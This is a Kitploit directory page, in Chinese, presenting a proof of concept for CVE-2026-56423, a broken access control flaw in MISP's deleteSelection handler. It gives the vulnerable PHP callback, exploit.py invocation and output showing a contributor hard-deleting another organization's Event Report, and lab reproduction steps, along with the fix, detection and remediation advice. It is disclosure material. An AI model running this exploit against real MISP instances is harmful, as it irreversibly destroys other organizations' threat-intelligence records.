Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl — PoC 用于 CVE-2026-56423:MISP deleteSelection 访问控制缺陷(CWE-862,协作者硬删除其他组织的 Event Reports/Sharing Groups,CVSS 8.8) | Kitploit
工具/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试威胁情报错误配置
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

PoC 用于 CVE-2026-56423:MISP deleteSelection 访问控制缺陷(CWE-862,协作者硬删除其他组织的 Event Reports/Sharing Groups,CVSS 8.8)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
12个月前尚未审核
分享

CVE-2026-56423 — MISP deleteSelection 访问控制缺失

此概念验证展示了 MISP 批量删除流程中针对 事件报告 和 共享组 的授权缺失漏洞。deleteSelection 处理程序通过一个回调函数对每个选中的项目进行授权,但该回调忽略项目本身,返回调用者的 全局角色权限(perm_add / perm_sharing_group),而不是进行每对象所有权检查。因此,低权限的 贡献者(默认的"用户"角色)可以提交属于 任何组织 的报告 ID/UUID,并在整个实例范围内硬删除它们,尽管正确保护的每对象 delete 操作会拒绝完全相同的请求。

CVECVE-2026-56423
产品MISP(恶意软件信息共享平台)核心
受影响版本MISP CE/EE ≤ 2.5.41
修复版本2.5.42
类型CWE-862 — 授权缺失(对象级访问控制失效)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
认证已认证,低权限(任何具有 perm_add 的角色,如"用户")
发布时间2026-06-22
状态已确认 — 贡献者可在 2.5.40 上删除其他组织的报告;在 2.5.42 上被拒绝

根本原因

app/Controller/EventReportsController.php(标签 v2.5.40):

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignores $itemId → global role bool
        },
    ]);
}

CRUDComponent::deleteSelection 对每个选中的 id 调用此 checkModifyCallback,并在其返回 true 时删除对象:

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

由于回调返回 $this->userRole['perm_add'] —— 一个全局布尔值,对于默认的"用户"角色为 true —— 因此从未检查目标报告的所有权。相比之下,单个对象的 delete($id) 操作正确调用了 EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete'),并拒绝外来报告。

SharingGroupsController::deleteSelection 也存在同样的问题,使用了 perm_sharing_group。

2.5.42 中的修复(提交 ada02fa、f99b3f1)将回调替换为每项 EventReport::fetchIfAuthorized($user, $itemId, 'delete')。

完整分析请参见 ANALYSIS.md。

前提条件(如实记录)

  1. 攻击者持有一个角色具有 perm_add 的账户——内置的 用户 角色,在多组织实例中授予普通贡献者。
  2. MISP.enable_themes = true。deleteSelection 操作在 ACL 中受 AND(theming_enabled, perm_add) 控制,其中 theming_enabled 映射到 MISP.enable_themes 设置。该设置默认关闭,但许多实例上会启用此普通 UI 功能标志(它为 v2 索引/列表 UI 提供支持)。如果禁用该设置,则操作会在有缺陷的回调运行前返回 HTTP 403。

利用

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <contributor_authkey> \
    --admin-key   <admin_authkey_used_only_to_confirm_the_target> \
    --report-id   <id_of_a_report_owned_by_another_org>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

复现

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

漏洞/已修复边界(实证)

请求(低权限贡献者,外来报告)v2.5.40v2.5.42
正确保护的 delete/{id}404 拒绝404 拒绝
同一报告的 deleteSelection200 — 已硬删除403 — “无法删除”;报告完整

同一个请求在修复前后从成功变为拒绝,而正确保护的每对象删除在两个版本中都被拒绝——证明该漏洞是 deleteSelection 中缺少每对象授权,而非账户配置错误。完整记录见 EVIDENCE.txt。

影响

共享 MISP 实例上的任何低权限用户都可以不可逆地硬删除事件报告(附加在威胁情报事件上的分析师叙述)以及属于其他组织的共享组,影响整个实例。这是 CERT、ISAC 和 SOC 所依赖的威胁情报平台的跨租户完整性/可用性受损。

修复措施

  • 将 MISP 升级到 2.5.42 或更高版本。
  • 修复对每个选中项强制执行 EventReport::fetchIfAuthorized($user, $itemId, 'delete');对共享组应用了相同的模式。

检测

审计 MISP 日志中 EventReports/deleteSelection(和 SharingGroups/deleteSelection)请求,注意操作用户所属组织与被删除对象所属组织不同的情况。

致谢

研究与 PoC 由 Caio Fabrício (@BiiTts) 完成。

许可

MIT — 参见 LICENSE。

下载工具